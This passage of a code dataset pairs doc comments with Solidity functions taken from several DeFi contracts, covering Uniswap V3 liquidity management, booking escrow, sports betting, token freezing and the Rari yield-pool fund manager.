transferAmount.add(transferAmount.div(SWAP_SLIPPAGE)).sub(\n balance1\n );\n uint256 amountOut = transferAmount.sub(balance1);\n uint256 balanceFactor = Utils.sub0(balance0, amountOut).div(2);\n amountIn = amountIn.add(balanceFactor);\n amountOut = amountOut.add(balanceFactor);\n swapToken0ForToken1(amountIn, amountOut);\n }\n transferAmount = getToken1AmountInNativeDecimals(transferAmount);\n token1.safeTransfer(msg.sender, transferAmount);\n }\n }", "version": "0.7.6"} {"comment": "/**\n * Mint function which initializes the pool position\n * Must be called before any liquidity can be deposited\n */", "function_code": "function mintInitial(uint256 amount0, uint256 amount1)\n external\n onlyOwnerOrManager\n {\n require(tokenId == 0);\n require(amount0 > 0 || amount1 > 0);\n checkTwap();\n if (amount0 > 0) {\n token0.safeTransferFrom(msg.sender, address(this), amount0);\n }\n if (amount1 > 0) {\n token1.safeTransferFrom(msg.sender, address(this), amount1);\n }\n tokenId = createPosition(amount0, amount1);\n amount0 = getToken0AmountInWei(amount0);\n amount1 = getToken1AmountInWei(amount1);\n _mintInternal(\n getAmountInAsset1Terms(amount0).add(getAmountInAsset0Terms(amount1))\n );\n emit PositionInitialized(tickLower, tickUpper);\n }", "version": "0.7.6"} {"comment": "/**\n * Creates the NFT token representing the pool position\n */", "function_code": "function createPosition(uint256 amount0, uint256 amount1)\n private\n returns (uint256 _tokenId)\n {\n (_tokenId, , , ) = positionManager.mint(\n INonfungiblePositionManager.MintParams({\n token0: address(token0),\n token1: address(token1),\n fee: POOL_FEE,\n tickLower: tickLower,\n tickUpper: tickUpper,\n amount0Desired: amount0,\n amount1Desired: amount1,\n amount0Min: amount0.sub(amount0.div(MINT_BURN_SLIPPAGE)),\n amount1Min: amount1.sub(amount1.div(MINT_BURN_SLIPPAGE)),\n recipient: address(this),\n deadline: block.timestamp\n })\n );\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Unstakes a given amount of liquidity from the Uni V3 position\n * @param liquidity amount of liquidity to unstake\n * @return amount0 token0 amount unstaked\n * @return amount1 token1 amount unstaked\n */", "function_code": "function unstakePosition(uint128 liquidity)\n private\n returns (uint256 amount0, uint256 amount1)\n {\n (uint256 _amount0, uint256 _amount1) =\n getAmountsForLiquidity(liquidity);\n (amount0, amount1) = positionManager.decreaseLiquidity(\n INonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: _amount0.sub(_amount0.div(MINT_BURN_SLIPPAGE)),\n amount1Min: _amount1.sub(_amount1.div(MINT_BURN_SLIPPAGE)),\n deadline: block.timestamp\n })\n );\n }", "version": "0.7.6"} {"comment": "/*\n * Withdraw function for token0 and token1 fees\n */", "function_code": "function withdrawFees() external onlyOwnerOrManager {\n uint256 token0Fees =\n getToken0AmountInNativeDecimals(withdrawableToken0Fees);\n uint256 token1Fees =\n getToken1AmountInNativeDecimals(withdrawableToken1Fees);\n if (token0Fees > 0) {\n token0.safeTransfer(msg.sender, token0Fees);\n withdrawableToken0Fees = 0;\n }\n if (token1Fees > 0) {\n token1.safeTransfer(msg.sender, token1Fees);\n withdrawableToken1Fees = 0;\n }\n\n emit FeeWithdraw(token0Fees, token1Fees);\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Withdraw until token0 or token1 balance reaches amount\n * @param forToken0 withdraw balance for token0 (true) or token1 (false)\n * @param amount minimum amount we want to have in token0 or token1\n */", "function_code": "function withdrawSingleToken(bool forToken0, uint256 amount) private {\n uint256 balance;\n uint256 unstakeAmount0;\n uint256 unstakeAmount1;\n uint256 swapAmount;\n do {\n // calculate how much we can withdraw\n (unstakeAmount0, unstakeAmount1) = calculatePoolMintedAmounts(\n getToken0AmountInNativeDecimals(amount),\n getToken1AmountInNativeDecimals(amount)\n );\n // withdraw both tokens\n _unstake(unstakeAmount0, unstakeAmount1);\n\n // swap the excess amount of token0 for token1 or vice-versa\n swapAmount = forToken0\n ? getToken1AmountInWei(unstakeAmount1)\n : getToken0AmountInWei(unstakeAmount0);\n forToken0\n ? swapToken1ForToken0(\n swapAmount.add(swapAmount.div(SWAP_SLIPPAGE)),\n swapAmount\n )\n : swapToken0ForToken1(\n swapAmount.add(swapAmount.div(SWAP_SLIPPAGE)),\n swapAmount\n );\n balance = forToken0\n ? getBufferToken0Balance()\n : getBufferToken1Balance();\n } while (balance < amount);\n }", "version": "0.7.6"} {"comment": "// Returns the earliest oracle observation time", "function_code": "function getObservationTime() public view returns (uint32) {\n (, , uint16 index, uint16 cardinality, , , ) = pool.slot0();\n uint16 oldestObservationIndex = (index + 1) % cardinality;\n (uint32 observationTime, , , bool initialized) =\n pool.observations(oldestObservationIndex);\n if (!initialized) (observationTime, , , ) = pool.observations(0);\n return observationTime;\n }", "version": "0.7.6"} {"comment": "/**\n * Get asset 0 twap\n * Uses Uni V3 oracle, reading the TWAP from twap period\n * or the earliest oracle observation time if twap period is not set\n */", "function_code": "function getAsset0Price() public view returns (int128) {\n uint32[] memory secondsArray = new uint32[](2);\n // get earliest oracle observation time\n uint32 observationTime = getObservationTime();\n uint32 currTimestamp = uint32(block.timestamp);\n uint32 earliestObservationSecondsAgo = currTimestamp - observationTime;\n if (\n twapPeriod == 0 ||\n !Utils.lte(\n currTimestamp,\n observationTime,\n currTimestamp - twapPeriod\n )\n ) {\n // set to earliest observation time if:\n // a) twap period is 0 (not set)\n // b) now - twap period is before earliest observation\n secondsArray[0] = earliestObservationSecondsAgo;\n } else {\n secondsArray[0] = twapPeriod;\n }\n secondsArray[1] = 0;\n (int56[] memory prices, ) = pool.observe(secondsArray);\n\n int128 twap = Utils.getTWAP(prices, secondsArray[0]);\n if (token1Decimals > token0Decimals) {\n // divide twap by token decimal difference\n twap = ABDKMath64x64.mul(\n twap,\n ABDKMath64x64.divu(1, tokenDiffDecimalMultiplier)\n );\n } else if (token0Decimals > token1Decimals) {\n // multiply twap by token decimal difference\n int128 multiplierFixed =\n ABDKMath64x64.fromUInt(tokenDiffDecimalMultiplier);\n twap = ABDKMath64x64.mul(twap, multiplierFixed);\n }\n return twap;\n }", "version": "0.7.6"} {"comment": "/**\n * Checks if twap deviates too much from the previous twap\n */", "function_code": "function checkTwap() private {\n int128 twap = getAsset0Price();\n int128 _lastTwap = lastTwap;\n int128 deviation =\n _lastTwap > twap ? _lastTwap - twap : twap - _lastTwap;\n int128 maxDeviation =\n ABDKMath64x64.mul(\n twap,\n ABDKMath64x64.divu(1, maxTwapDeviationDivisor)\n );\n require(deviation <= maxDeviation, \"Wrong twap\");\n lastTwap = twap;\n }", "version": "0.7.6"} {"comment": "// ========= ENTER ==========", "function_code": "function enter() public timeBoundsCheck {\r\n require(action == ACTION.ENTER, \"Wrong action\");\r\n require(!completed, \"Action completed\");\r\n uint256 ugasReserves;\r\n uint256 wethReserves;\r\n (wethReserves,ugasReserves, ) = uniswap_pair.getReserves();\r\n require(\r\n withinBounds(wethReserves, ugasReserves),\r\n \"Market rate is outside bounds\"\r\n );\r\n uint256 wethBalance = 300 * (10**18);\r\n // Since we are aiming for a CR of 4, we can mint with up to 80% of reserves\r\n // We mint slightly less so we can be sure there will be enough WETH\r\n uint256 collateral_amount = (wethBalance * 79) / 100;\r\n uint256 mint_amount = (collateral_amount * ugasReserves) /\r\n wethReserves /\r\n 4;\r\n _mint(collateral_amount, mint_amount);\r\n\r\n _mintLPToken(uniswap_pair, WETH, UGAS, mint_amount, RESERVES);\r\n\r\n completed = true;\r\n }", "version": "0.5.15"} {"comment": "// ========== EXIT ==========", "function_code": "function exit() public timeBoundsCheck {\r\n require(action == ACTION.EXIT);\r\n require(!completed, \"Action completed\");\r\n uint256 ugasReserves;\r\n uint256 wethReserves;\r\n (wethReserves,ugasReserves, ) = uniswap_pair.getReserves();\r\n require(\r\n withinBounds(wethReserves, ugasReserves),\r\n \"Market rate is outside bounds\"\r\n );\r\n\r\n _burnLPToken(uniswap_pair, address(this));\r\n\r\n _repayAndWithdraw();\r\n\r\n WETH.transfer(RESERVES, WETH.balanceOf(address(this)));\r\n uint256 ugasBalance = UGAS.balanceOf(address(this));\r\n if (ugasBalance > 0) {\r\n UGAS.transfer(RESERVES, ugasBalance);\r\n }\r\n completed = true;\r\n }", "version": "0.5.15"} {"comment": "// -------------------------------------------------------------------------------------------------------\n// CANCELLATION FUNCTIONS --------------------------------------------------------------------------------", "function_code": "function calculateCancel(Booking storage booking)\r\n internal view returns (bool isPossible, uint depositToHostPpm, uint cleaningToHostPpm, uint priceToHostPpm) {\r\n\r\n // initialization\r\n isPossible = false;\r\n IBooking.Status currentStatus = getStatus(booking);\r\n\r\n (uint nightsAlreadyOccupied, uint nightsTotal) = getNights(booking);\r\n\r\n // checking\r\n if ((currentStatus != IBooking.Status.Booked && currentStatus != IBooking.Status.Started) ||\r\n (nightsTotal == 0 || nightsAlreadyOccupied >= nightsTotal) ||\r\n (currentStatus == IBooking.Status.Started && msg.sender == booking.host)) {\r\n return (false, 0, 0, 0);\r\n }\r\n\r\n depositToHostPpm = 0;\r\n cleaningToHostPpm = nightsAlreadyOccupied == 0 ? 0 : 1000000;\r\n priceToHostPpm = currentStatus == IBooking.Status.Booked && (msg.sender == booking.host || msg.sender == booking.feeBeneficiary)\r\n ? 0\r\n : getPriceToHostPpmByCancellationPolicy(booking, nightsAlreadyOccupied, nightsTotal, now);\r\n\r\n isPossible = true;\r\n }", "version": "0.5.6"} {"comment": "// -------------------------------------------------------------------------------------------------------\n// FUNCTIONS THAT SPLIT ALL BALANCE AND RETURN MONEY TO THE GUEST ----------------------------------------", "function_code": "function splitAllBalance(Booking storage booking,\r\n uint depositToHostPpm, uint cleaningToHostPpm, uint priceToHostPpm)\r\n internal {\r\n uint priceToHost = booking.price * priceToHostPpm / 1000000;\r\n uint depositToHost = booking.deposit * depositToHostPpm / 1000000;\r\n uint cleaningToHost = booking.cleaning * cleaningToHostPpm / 1000000;\r\n\r\n booking.hostWithdrawAllowance = priceToHost + cleaningToHost + depositToHost;\r\n booking.guestWithdrawAllowance =\r\n (booking.price - priceToHost) +\r\n (booking.deposit - depositToHost) +\r\n (booking.cleaning - cleaningToHost);\r\n }", "version": "0.5.6"} {"comment": "// HELPERS FOR SPLITTING FUNDS ---------------------------------------------------------------------------", "function_code": "function getNights(Booking storage booking)\r\n internal view returns (uint nightsAlreadyOccupied, uint nightsTotal) {\r\n nightsTotal = (12 * 60 * 60 + booking.dateTo - booking.dateFrom) / (24 * 60 * 60);\r\n if (now <= booking.dateFrom) {\r\n nightsAlreadyOccupied = 0;\r\n } else {\r\n // first night is occupied when 1 second is passed after check-in, and so on\r\n nightsAlreadyOccupied = (24 * 60 * 60 - 1 + now - booking.dateFrom) / (24 * 60 * 60);\r\n }\r\n if (nightsAlreadyOccupied > nightsTotal) {\r\n nightsAlreadyOccupied = nightsTotal;\r\n }\r\n }", "version": "0.5.6"} {"comment": "/**\r\n * An address can become a new seller only in case it has no tokens.\r\n * This is required to prevent stealing of tokens from newSeller via\r\n * 2 calls of this function.\r\n */", "function_code": "function changeSeller(address newSeller) onlyOwner public returns (bool) {\r\n require(newSeller != address(0));\r\n require(seller != newSeller);\r\n\r\n // To prevent stealing of tokens from newSeller via 2 calls of changeSeller:\r\n require(balances[newSeller] == 0);\r\n\r\n address oldSeller = seller;\r\n uint256 unsoldTokens = balances[oldSeller];\r\n balances[oldSeller] = 0;\r\n balances[newSeller] = unsoldTokens;\r\n emit Transfer(oldSeller, newSeller, unsoldTokens);\r\n\r\n seller = newSeller;\r\n emit ChangeSellerEvent(oldSeller, newSeller);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "// For Owner & Manager", "function_code": "function createMatch(uint _id, string _team, string _teamDetail, int32 _pointSpread, uint64 _startTime, uint64 _endTime)\r\n onlyOwner\r\n public {\r\n\r\n require(_startTime < _endTime);\r\n require(matches[_id].created == false);\r\n\r\n // Create new match\r\n Match memory _match = Match({\r\n created:true,\r\n team: _team,\r\n teamDetail: _teamDetail,\r\n pointSpread: _pointSpread,\r\n startTime: _startTime,\r\n endTime: _endTime,\r\n stakesOfWin: 0,\r\n stakesOfDraw: 0,\r\n stakesOfLoss: 0,\r\n result: Result.Unknown\r\n });\r\n\r\n // Insert into matches\r\n matches[_id] = _match;\r\n numMatches++;\r\n\r\n // Set event\r\n emit NewMatch(_id, _team, _teamDetail, _pointSpread, _startTime, _endTime);\r\n }", "version": "0.4.24"} {"comment": "// For Player", "function_code": "function bet(uint _id, Result _result)\r\n validId(_id)\r\n validResult(_result)\r\n public\r\n payable {\r\n\r\n // Check value\r\n require(msg.value > 0);\r\n\r\n // Check match state\r\n Match storage _match = matches[_id];\r\n require(_match.result == Result.Unknown);\r\n require(_match.startTime <= now);\r\n require(_match.endTime >= now);\r\n\r\n // Update matches\r\n if (_result == Result.HomeWin) {\r\n _match.stakesOfWin = add(_match.stakesOfWin, msg.value);\r\n } else if (_result == Result.HomeDraw) {\r\n _match.stakesOfDraw = add(_match.stakesOfDraw, msg.value);\r\n } else if (_result == Result.HomeLoss) {\r\n _match.stakesOfLoss = add(_match.stakesOfLoss, msg.value);\r\n }\r\n\r\n // Update predictions\r\n Prediction storage _prediction = predictions[_id][msg.sender];\r\n if (_prediction.result == Result.Unknown) {\r\n _prediction.stake = msg.value;\r\n _prediction.result = _result;\r\n } else {\r\n require(_prediction.result == _result);\r\n _prediction.stake = add(_prediction.stake, msg.value);\r\n }\r\n\r\n // Set event\r\n emit Bet(msg.sender, _id, _result, msg.value, _match.stakesOfWin, _match.stakesOfDraw, _match.stakesOfLoss);\r\n }", "version": "0.4.24"} {"comment": "//addMembers is adding members to the contract", "function_code": "function addMembers(address[] memory members, uint256[3][] memory membersTokens) external onlyOwner returns (bool) {\r\n require (members.length == membersTokens.length, \"ClinTex: arrays of incorrect length\");\r\n\r\n for (uint256 index = 0; index < members.length; index++){\r\n require(membersTokens[index][0] >= membersTokens[index][1], \"ClinTex: there are more frozen tokens before the first date than on the balance\");\r\n require(membersTokens[index][0] >= membersTokens[index][2], \"ClinTex: there are more frozen tokens before the second date than on the balance\");\r\n \r\n _mint(members[index], membersTokens[index][0]);\r\n \r\n _freezeTokens[members[index]].frozenTokensBeforeTheFirstDate = membersTokens[index][1];\r\n _freezeTokens[members[index]].frozenTokensBeforeTheSecondDate = membersTokens[index][2];\r\n }\r\n\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "//getFreezeTokens returns the number of frozen tokens on the account", "function_code": "function getFreezeTokens(address account, uint8 flag) public view returns (uint256) {\r\n require(account != address(0), \"ClinTex: address must not be empty\");\r\n require (flag < 2, \"ClinTex: unknown flag\");\r\n \r\n if (flag == 0) {\r\n return _freezeTokens[account].frozenTokensBeforeTheFirstDate;\r\n }\r\n return _freezeTokens[account].frozenTokensBeforeTheSecondDate;\r\n }", "version": "0.8.7"} {"comment": "// Returns the number of naps token to boost", "function_code": "function calculateCost(uint256 level) public view returns(uint256) {\r\n uint256 cycles = calculateCycle.calculate(deployedTime,block.timestamp,napsDiscountRange);\r\n // Cap it to 5 times\r\n if(cycles > 5) {\r\n cycles = 5;\r\n }\r\n // // cost = initialCost * (0.9)^cycles = initial cost * (9^cycles)/(10^cycles)\r\n if (level == 1) {\r\n return napsLevelOneCost.mul(9 ** cycles).div(10 ** cycles);\r\n }else if(level == 2) {\r\n return napsLevelTwoCost.mul(9 ** cycles).div(10 ** cycles);\r\n }else if(level ==3) {\r\n return napsLevelThreeCost.mul(9 ** cycles).div(10 ** cycles);\r\n }\r\n }", "version": "0.6.0"} {"comment": "//isTransferFreezeTokens returns true when transferring frozen tokens", "function_code": "function isTransferFreezeTokens(address account, uint256 amount) public view returns (bool) {\r\n if (block.timestamp > _secondUnfreezeDate){\r\n return false;\r\n }\r\n\r\n if (_firstUnfreezeDate < block.timestamp && block.timestamp < _secondUnfreezeDate) {\r\n if (balanceOf(account) - getFreezeTokens(account, 1) < amount) {\r\n return true;\r\n }\r\n }\r\n\r\n if (block.timestamp < _firstUnfreezeDate) {\r\n if (balanceOf(account) - getFreezeTokens(account, 0) < amount) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "version": "0.8.7"} {"comment": "/**\n * This is the function that burns the MAHA and returns how much ARTH should\n * actually be spent.\n *\n * Note we are always selling tokenA.\n */", "function_code": "function conductChecks(\n uint112 reserveA,\n uint112 reserveB,\n uint256 priceALast,\n uint256 priceBLast,\n uint256 amountOutA,\n uint256 amountOutB,\n uint256 amountInA,\n uint256 amountInB,\n address from,\n address to\n ) external override onlyPair {\n // The to nd from address has to be whitelisted.\n require(whitelist[to], \"ArthIncentiveControllerV2: FORBIDDEN\");\n require(whitelist[from], \"ArthIncentiveControllerV2: FORBIDDEN\");\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Initializer that sets supported ERC20 contract addresses and supported pools for each supported token.\r\n */", "function_code": "function initialize() public initializer {\r\n // Initialize base contracts\r\n Ownable.initialize(msg.sender);\r\n \r\n // Add supported currencies\r\n addSupportedCurrency(\"DAI\", 0x6B175474E89094C44Da98b954EedeAC495271d0F, 18);\r\n addPoolToCurrency(\"DAI\", RariFundController.LiquidityPool.dYdX);\r\n addPoolToCurrency(\"DAI\", RariFundController.LiquidityPool.Compound);\r\n addPoolToCurrency(\"DAI\", RariFundController.LiquidityPool.Aave);\r\n addPoolToCurrency(\"DAI\", RariFundController.LiquidityPool.yVault);\r\n addSupportedCurrency(\"USDC\", 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, 6);\r\n addPoolToCurrency(\"USDC\", RariFundController.LiquidityPool.dYdX);\r\n addPoolToCurrency(\"USDC\", RariFundController.LiquidityPool.Compound);\r\n addPoolToCurrency(\"USDC\", RariFundController.LiquidityPool.Aave);\r\n addPoolToCurrency(\"USDC\", RariFundController.LiquidityPool.yVault);\r\n addSupportedCurrency(\"USDT\", 0xdAC17F958D2ee523a2206206994597C13D831ec7, 6);\r\n addPoolToCurrency(\"USDT\", RariFundController.LiquidityPool.Compound);\r\n addPoolToCurrency(\"USDT\", RariFundController.LiquidityPool.Aave);\r\n addPoolToCurrency(\"USDT\", RariFundController.LiquidityPool.yVault);\r\n addSupportedCurrency(\"TUSD\", 0x0000000000085d4780B73119b644AE5ecd22b376, 18);\r\n addPoolToCurrency(\"TUSD\", RariFundController.LiquidityPool.Aave);\r\n addPoolToCurrency(\"TUSD\", RariFundController.LiquidityPool.yVault);\r\n addSupportedCurrency(\"BUSD\", 0x4Fabb145d64652a948d72533023f6E7A623C7C53, 18);\r\n addPoolToCurrency(\"BUSD\", RariFundController.LiquidityPool.Aave);\r\n addSupportedCurrency(\"sUSD\", 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51, 18);\r\n addPoolToCurrency(\"sUSD\", RariFundController.LiquidityPool.Aave);\r\n addSupportedCurrency(\"mUSD\", 0xe2f2a5C287993345a840Db3B0845fbC70f5935a5, 18);\r\n addPoolToCurrency(\"mUSD\", RariFundController.LiquidityPool.mStable);\r\n\r\n // Initialize raw fund balance cache (can't set initial values in field declarations with proxy storage)\r\n _rawFundBalanceCache = -1;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Upgrades RariFundManager.\r\n * Sends data to the new contract and sets the new RariFundToken minter.\r\n * @param newContract The address of the new RariFundManager contract.\r\n */", "function_code": "function upgradeFundManager(address newContract) external onlyOwner {\r\n require(fundDisabled, \"This fund manager contract must be disabled before it can be upgraded.\");\r\n\r\n // Pass data to the new contract\r\n FundManagerData memory data;\r\n\r\n data = FundManagerData(\r\n _netDeposits,\r\n _rawInterestAccruedAtLastFeeRateChange,\r\n _interestFeesGeneratedAtLastFeeRateChange,\r\n _interestFeesClaimed\r\n );\r\n\r\n RariFundManager(newContract).setFundManagerData(data);\r\n\r\n // Update RariFundToken minter\r\n if (_rariFundTokenContract != address(0)) {\r\n rariFundToken.addMinter(newContract);\r\n rariFundToken.renounceMinter();\r\n }\r\n\r\n emit FundManagerUpgraded(newContract);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Upgrades RariFundManager.\r\n * Sets data receieved from the old contract.\r\n * @param data The data from the old contract necessary to initialize the new contract.\r\n */", "function_code": "function setFundManagerData(FundManagerData calldata data) external {\r\n require(_authorizedFundManagerDataSource != address(0) && msg.sender == _authorizedFundManagerDataSource, \"Caller is not an authorized source.\");\r\n _netDeposits = data.netDeposits;\r\n _rawInterestAccruedAtLastFeeRateChange = data.rawInterestAccruedAtLastFeeRateChange;\r\n _interestFeesGeneratedAtLastFeeRateChange = data.interestFeesGeneratedAtLastFeeRateChange;\r\n _interestFeesClaimed = data.interestFeesClaimed;\r\n _interestFeeRate = RariFundManager(_authorizedFundManagerDataSource).getInterestFeeRate();\r\n _withdrawalFeeRate = RariFundManager(_authorizedFundManagerDataSource).getWithdrawalFeeRate();\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Returns the fund controller's balance of the specified currency in the specified pool.\r\n * @dev Ideally, we can add the `view` modifier, but Compound's `getUnderlyingBalance` function (called by `CompoundPoolController.getBalance`) potentially modifies the state.\r\n * @param pool The index of the pool.\r\n * @param currencyCode The currency code of the token.\r\n */", "function_code": "function getPoolBalance(RariFundController.LiquidityPool pool, string memory currencyCode) internal returns (uint256) {\r\n if (!rariFundController.hasCurrencyInPool(pool, currencyCode)) return 0;\r\n\r\n if (_cachePoolBalances || _cacheDydxBalances) {\r\n if (pool == RariFundController.LiquidityPool.dYdX) {\r\n address erc20Contract = _erc20Contracts[currencyCode];\r\n require(erc20Contract != address(0), \"Invalid currency code.\");\r\n if (_dydxBalancesCache.length == 0) (_dydxTokenAddressesCache, _dydxBalancesCache) = rariFundController.getDydxBalances();\r\n for (uint256 i = 0; i < _dydxBalancesCache.length; i++) if (_dydxTokenAddressesCache[i] == erc20Contract) return _dydxBalancesCache[i];\r\n revert(\"Failed to get dYdX balance of this currency code.\");\r\n } else if (_cachePoolBalances) {\r\n uint8 poolAsUint8 = uint8(pool);\r\n if (_poolBalanceCache[currencyCode][poolAsUint8] == 0) _poolBalanceCache[currencyCode][poolAsUint8] = rariFundController._getPoolBalance(pool, currencyCode);\r\n return _poolBalanceCache[currencyCode][poolAsUint8];\r\n }\r\n }\r\n\r\n return rariFundController._getPoolBalance(pool, currencyCode);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Returns the fund's raw total balance (all RFT holders' funds + all unclaimed fees) of the specified currency.\r\n * @dev Ideally, we can add the `view` modifier, but Compound's `getUnderlyingBalance` function (called by `RariFundController.getPoolBalance`) potentially modifies the state.\r\n * @param currencyCode The currency code of the balance to be calculated.\r\n */", "function_code": "function getRawFundBalance(string memory currencyCode) public returns (uint256) {\r\n address erc20Contract = _erc20Contracts[currencyCode];\r\n require(erc20Contract != address(0), \"Invalid currency code.\");\r\n\r\n IERC20 token = IERC20(erc20Contract);\r\n uint256 totalBalance = token.balanceOf(_rariFundControllerContract);\r\n for (uint256 i = 0; i < _poolsByCurrency[currencyCode].length; i++)\r\n totalBalance = totalBalance.add(getPoolBalance(_poolsByCurrency[currencyCode][i], currencyCode));\r\n\r\n return totalBalance;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Returns the fund's raw total balance (all RFT holders' funds + all unclaimed fees) of all currencies in USD (scaled by 1e18).\r\n * Accepts prices in USD as a parameter to avoid calculating them every time.\r\n * Ideally, we can add the `view` modifier, but Compound's `getUnderlyingBalance` function (called by `getRawFundBalance`) potentially modifies the state.\r\n */", "function_code": "function getRawFundBalance(uint256[] memory pricesInUsd) public cacheDydxBalances returns (uint256) {\r\n uint256 totalBalance = 0;\r\n\r\n for (uint256 i = 0; i < _supportedCurrencies.length; i++) {\r\n string memory currencyCode = _supportedCurrencies[i];\r\n uint256 balance = getRawFundBalance(currencyCode);\r\n uint256 balanceUsd = balance.mul(pricesInUsd[i]).div(10 ** _currencyDecimals[currencyCode]);\r\n totalBalance = totalBalance.add(balanceUsd);\r\n }\r\n\r\n return totalBalance;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Returns the total balance in USD (scaled by 1e18) of `account`.\r\n * @dev Ideally, we can add the `view` modifier, but Compound's `getUnderlyingBalance` function (called by `getRawFundBalance`) potentially modifies the state.\r\n * @param account The account whose balance we are calculating.\r\n */", "function_code": "function balanceOf(address account) external returns (uint256) {\r\n uint256 rftTotalSupply = rariFundToken.totalSupply();\r\n if (rftTotalSupply == 0) return 0;\r\n uint256 rftBalance = rariFundToken.balanceOf(account);\r\n uint256 fundBalanceUsd = getFundBalance();\r\n uint256 accountBalanceUsd = rftBalance.mul(fundBalanceUsd).div(rftTotalSupply);\r\n return accountBalanceUsd;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Returns an array of currency codes currently accepted for deposits.\r\n */", "function_code": "function getAcceptedCurrencies() external view returns (string[] memory) {\r\n uint256 arrayLength = 0;\r\n for (uint256 i = 0; i < _supportedCurrencies.length; i++) if (_acceptedCurrencies[_supportedCurrencies[i]]) arrayLength++;\r\n string[] memory acceptedCurrencies = new string[](arrayLength);\r\n uint256 index = 0;\r\n\r\n for (uint256 i = 0; i < _supportedCurrencies.length; i++) if (_acceptedCurrencies[_supportedCurrencies[i]]) {\r\n acceptedCurrencies[index] = _supportedCurrencies[i];\r\n index++;\r\n }\r\n\r\n return acceptedCurrencies;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Marks `currencyCodes` as accepted or not accepted.\r\n * @param currencyCodes The currency codes to mark as accepted or not accepted.\r\n * @param accepted An array of booleans indicating if each of `currencyCodes` is to be accepted.\r\n */", "function_code": "function setAcceptedCurrencies(string[] calldata currencyCodes, bool[] calldata accepted) external onlyRebalancer {\r\n require (currencyCodes.length > 0 && currencyCodes.length == accepted.length, \"Lengths of arrays must be equal and both greater than 0.\");\r\n for (uint256 i = 0; i < currencyCodes.length; i++) _acceptedCurrencies[currencyCodes[i]] = accepted[i];\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Returns the amount of RFT to burn for a withdrawal (used by `_withdrawFrom`).\r\n * @param from The address from which RFT will be burned.\r\n * @param amountUsd The amount of the withdrawal in USD\r\n */", "function_code": "function getRftBurnAmount(address from, uint256 amountUsd) internal returns (uint256) {\r\n uint256 rftTotalSupply = rariFundToken.totalSupply();\r\n uint256 fundBalanceUsd = getFundBalance();\r\n require(fundBalanceUsd > 0, \"Fund balance is zero.\");\r\n uint256 rftAmount = amountUsd.mul(rftTotalSupply).div(fundBalanceUsd);\r\n require(rftAmount <= rariFundToken.balanceOf(from), \"Your RFT balance is too low for a withdrawal of this amount.\");\r\n require(rftAmount > 0, \"Withdrawal amount is so small that no RFT would be burned.\");\r\n return rftAmount;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Internal function to withdraw funds from pools if necessary for `RariFundController` to hold at least `amount` of actual tokens.\r\n * This function was separated from `_withdrawFrom` to avoid the stack going too deep.\r\n * @param currencyCode The currency code of the token to be withdrawn.\r\n * @param amount The minimum amount of tokens that must be held by `RariFundController` after withdrawing.\r\n * @return The actual amount withdrawn after potential yVault withdrawal fees.\r\n */", "function_code": "function withdrawFromPoolsIfNecessary(string memory currencyCode, uint256 amount) internal returns (uint256) {\r\n // Check contract balance of token and withdraw from pools if necessary\r\n address erc20Contract = _erc20Contracts[currencyCode];\r\n IERC20 token = IERC20(erc20Contract);\r\n uint256 contractBalance = token.balanceOf(_rariFundControllerContract);\r\n\r\n for (uint256 i = 0; i < _poolsByCurrency[currencyCode].length; i++) {\r\n if (contractBalance >= amount) break;\r\n RariFundController.LiquidityPool pool = _poolsByCurrency[currencyCode][i];\r\n uint256 poolBalance = getPoolBalance(pool, currencyCode);\r\n if (poolBalance <= 0) continue;\r\n uint256 amountLeft = amount.sub(contractBalance);\r\n bool withdrawAll = amountLeft >= poolBalance;\r\n uint256 poolAmount = withdrawAll ? poolBalance : amountLeft;\r\n rariFundController.withdrawFromPoolOptimized(pool, currencyCode, poolAmount, withdrawAll);\r\n\r\n if (pool == RariFundController.LiquidityPool.dYdX) {\r\n for (uint256 j = 0; j < _dydxBalancesCache.length; j++) if (_dydxTokenAddressesCache[j] == erc20Contract) _dydxBalancesCache[j] = poolBalance.sub(poolAmount);\r\n } else _poolBalanceCache[currencyCode][uint8(pool)] = poolBalance.sub(poolAmount);\r\n\r\n contractBalance = contractBalance.add(poolAmount);\r\n }\r\n\r\n require(amount <= contractBalance, \"Available balance not enough to cover amount even after withdrawing from pools.\");\r\n uint256 realContractBalance = token.balanceOf(_rariFundControllerContract);\r\n return realContractBalance < amount ? realContractBalance : amount;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Withdraws multiple currencies from the Rari Yield Pool to `msg.sender` (RariFundProxy) in exchange for RFT burned from `from`.\r\n * You may only withdraw currencies held by the fund (see `getRawFundBalance(string currencyCode)`).\r\n * Please note that you must approve RariFundManager to burn of the necessary amount of RFT.\r\n * @param from The address from which RFT will be burned.\r\n * @param currencyCodes The currency codes of the tokens to be withdrawn.\r\n * @param amounts The amounts of the tokens to be withdrawn.\r\n * @return Array of amounts withdrawn after fees.\r\n */", "function_code": "function withdrawFrom(address from, string[] calldata currencyCodes, uint256[] calldata amounts) external onlyProxy cachePoolBalances returns (uint256[] memory) {\r\n // Input validation\r\n require(currencyCodes.length > 0 && currencyCodes.length == amounts.length, \"Lengths of currency code and amount arrays must be greater than 0 and equal.\");\r\n uint256[] memory pricesInUsd = rariFundPriceConsumer.getCurrencyPricesInUsd();\r\n\r\n // Manually cache raw fund balance (no need to check if set previously because the function is external)\r\n _rawFundBalanceCache = toInt256(getRawFundBalance(pricesInUsd));\r\n\r\n // Make withdrawals\r\n uint256[] memory amountsAfterFees = new uint256[](currencyCodes.length);\r\n for (uint256 i = 0; i 